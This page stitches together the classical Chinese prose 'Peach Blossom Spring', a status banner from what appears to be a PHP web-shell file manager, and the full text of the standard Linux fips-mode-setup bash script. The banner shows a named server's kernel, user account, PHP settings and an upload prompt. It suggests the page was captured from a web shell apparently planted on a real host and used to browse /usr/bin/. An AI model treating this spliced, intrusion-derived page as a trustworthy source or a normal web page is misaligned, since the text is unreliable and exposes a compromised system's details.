晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/bin/ |
Upload File : |
#!/bin/bash
umask 022
usage=0
enable_fips=
check=0
boot_config=1
err_if_disabled=0
fips_install_complete=0
output_text=1
is_ostree_system=0
if test -f /run/ostree-booted; then
is_ostree_system=1
fi
enable2txt () {
case "$1" in
0)
echo "disabled"
;;
1)
echo "enabled"
;;
esac
}
cond_echo () {
if test "$output_text" != 0;then
echo "$@"
fi
}
while test $# -ge 1 ; do
case "$1" in
--enable)
enable_fips=1
;;
--disable)
enable_fips=0
;;
--check)
check=1
enable_fips=2
;;
--is-enabled)
check=1
enable_fips=2
err_if_disabled=1
output_text=0
;;
--no-bootcfg)
boot_config=0
;;
*)
usage=1
;;
esac
shift
done
if test $usage = 1 -o x$enable_fips = x ; then
echo "Check, enable, or disable the system FIPS mode."
echo "usage: $0 --enable|--disable [--no-bootcfg]"
echo "usage: $0 --check"
echo "usage: $0 --is-enabled"
exit 2
fi
# We don't handle the boot config on OSTree systems for now; it is assumed to be
# handled at a higher level. E.g. in Fedora CoreOS and RHEL CoreOS, it is
# intrinsically tied to the firstboot procedure.
if test "$is_ostree_system" = 1 && test "$enable_fips" = 1 && test "$boot_config" = 1; then
cond_echo "Cannot perform boot config changes on OSTree systems (use --no-bootcfg)"
exit 1
fi
if test -f /etc/system-fips ; then
# On OSTree systems, /etc/system-fips in the real root marks completion.
if test ! -d /boot -o "$is_ostree_system" = 1 -o ! -x /usr/bin/lsinitrd -o x"$(/usr/bin/lsinitrd -f etc/system-fips 2>/dev/null || test $? = 2 && echo y)" != x ; then
fips_install_complete=1
fi
fi
if test $check = 1 ; then
test $fips_install_complete = 0 && cond_echo "Installation of FIPS modules is not completed."
fips_enabled=$(cat /proc/sys/crypto/fips_enabled)
cond_echo "FIPS mode is $(enable2txt $fips_enabled)."
if test "$fips_enabled" = 1 ; then
if test $fips_install_complete = 0 ; then
cond_echo "Inconsistent state detected."
exit 1
fi
current="$(cat /etc/crypto-policies/state/current)"
if test "$(echo $current | cut -f 1 -d :)" != "FIPS" ; then
cond_echo "The current crypto policy ($current) is not a FIPS policy."
fi
fi
if test "$fips_enabled" != 1 && test "$err_if_disabled" = 1;then
exit 2
fi
exit 0
fi
if [ $(id -u) != 0 ]; then
echo "You must be root to run $(basename $0)"
exit 1
fi
if test $enable_fips = 1 ; then
if test $fips_install_complete = 0 ; then
fips-finish-install --complete
if test $? != 0 ; then
echo "Installation of FIPS modules could not be completed."
exit 1
fi
fi
update-crypto-policies --no-reload --set FIPS 2>/dev/null
else
update-crypto-policies --no-reload --set DEFAULT 2>/dev/null
fi
boot_device="$(df -P /boot | tail -1)"
echo "$boot_device" | grep -q ' /$' && boot_device='/' || boot_device=$(echo "$boot_device" | cut -d ' ' -f 1)
if test x"$boot_device" = x ; then
echo "Boot device not identified, you have to configure the bootloader manually."
boot_device_opt=" boot=UUID=<your-boot-device-uuid>"
boot_config=0
else
if test "$boot_device" = / ; then
boot_device_opt=""
else
boot_device_opt=" boot=UUID=$(blkid -s UUID -o value $boot_device)"
fi
fi
if test $boot_config=1 && test ! -x "$(command -v grubby)" ; then
echo "The grubby command is missing, please configure the bootloader manually."
boot_config=0
fi
echo "FIPS mode will be $(enable2txt $enable_fips)."
fipsopts="fips=$enable_fips$boot_device_opt"
if test $boot_config = 0 ; then
echo "Now you need to configure the bootloader to add kernel options \"$fipsopts\""
echo "and reboot the system for the setting to take effect."
else
grubby --update-kernel=ALL --args="$fipsopts"
if test x"$(uname -m)" = xs390x; then
if command -v zipl >/dev/null; then
zipl >/dev/null 2>&1
else
echo -n '`zipl` execution has been skipped: '
echo '`zipl` not found.'
fi
fi
echo "Please reboot the system for the setting to take effect."
fi
exit 0